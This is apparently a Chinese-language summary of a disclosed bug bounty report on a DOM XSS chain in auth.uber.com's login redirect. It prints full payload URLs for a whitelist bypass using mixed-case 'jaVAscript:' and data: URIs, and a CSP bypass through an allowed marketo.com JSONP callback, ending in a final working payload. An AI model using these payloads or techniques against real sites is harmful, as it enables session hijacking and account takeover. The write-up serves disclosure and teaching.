DOM Xss in auth.uber.com

Background

Affected Link:

https://auth.uber.com/login/?next_url=https%3A%2F%2Faccounts.uber.com%2Fprofile%2F&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo%3D

Decoded as:

https://auth.uber.com/login/?next_url=https://accounts.uber.com/profile/&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo=

next_url: 这个param制定了redirect的地方。

Open Direct

https://auth.uber.com/login/?next_url=https://www.attacker.com/profile/&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo=

不出所料, next_url有whitelist.

参考[From Open Redirct to Account Takeover](http://www.ninoishere.com/from-open-redirect-to-account-takeover-2-2/), 作者通过ftp://accounts.uber.com bypass了,同理,构造xss payload - jaVAscript://accounts.uber.com/%0a%0dalert(1)//

NIN: %0a, %0d - Line break
javascript被blacklist了,利用jaVAscript bypass

可看到location header: Location: jaVAscript://accounts.uber.com/%0a%0dalert(1)//

Data Scheme

Encoded:

https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Ewindow.location%3D%22https%3A%2F%2Freddit.com%22%3B%3C%2Fscript%3E%3C%2Fhtml%3E&state=x  

Decoded:

https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,<html><script>window.location="https://reddit.com";</script></html>&state=x  

留意红色框及其上面一行。

但这不是一个成功的xss,因为origin在301跳转的时候已经改变了,弹窗得到的是空白的内容(origin是null).

此外该payload在chrome不会work。

Anonymous User

作者发现,redirect的模式对于已认证用户和匿名用户是不一样的。当匿名用户访问上述URL的时候,返回的不是302,而是200,不过用户依然被redirect到指定地方,由此可肯定,页面是通过javascript来实现的, 类似

window.location.href = nextURL;  

利用上面发现的open redirect,以下payload就能造成xss.

window.location.href = jaVAscript://accounts.uber.com//%0d%0aalert(1);//

// or
window.location.href = data:accounts.uber.com;text/html; HTML_CODE  

但实际并没有弹窗

CSP

作者后来发现原因竟是CSP阻止了弹窗。

Content-Security-Policy:  
[REDACTED]
https://staging.cdn-net.com/; script-src 'self' 'unsafe-inline' 'nonce-xxxxxxxxx' 'self' 'unsafe-eval' 'unsafe-inline.botjar.com *.marketo.com *.marketo.net  
[REDACTED]
'  

*.marketo.com被CSP允许了,下一步就是利用JSONP来返回input作为javascript.

通过Google.com search - site:marketo.com inurl:callback,得到

https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain);//

访问 https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain);//
返回

alert(document.domain); // [REDACTED]  

于是 https://auth.uber.com/login/?next_url=data:accounts.uber.com%3Btext/html%3Bcharset=UTF-8,%3Chtml%3E%3Cscript%20src=%22https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain)%3B//%22%20data-reactid=%22341%22%3E%3C/script%3E%3C%2Fhtml%3E%26state%3Dx&state=x 就是所要的payload了。

Login User

鉴于上面的payload仅对匿名用户有效,要对Login User起作用,还需要其他步骤。

作者又发现,假如将state去掉,尽管你是已认证的用户,系统依旧会认为你是匿名用户,让你重新登陆。

于是最终的payload是

https://auth.uber.com/login/?next_url=data:accounts.uber.com%3Btext/html%3Bcharset=UTF-8,%3Chtml%3E%3Cscript%20src=%22https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain)%3B//%22%20data-reactid=%22341%22%3E%3C/script%3E%3C%2Fhtml%3E%26state%3Dx

Ref

StamOne_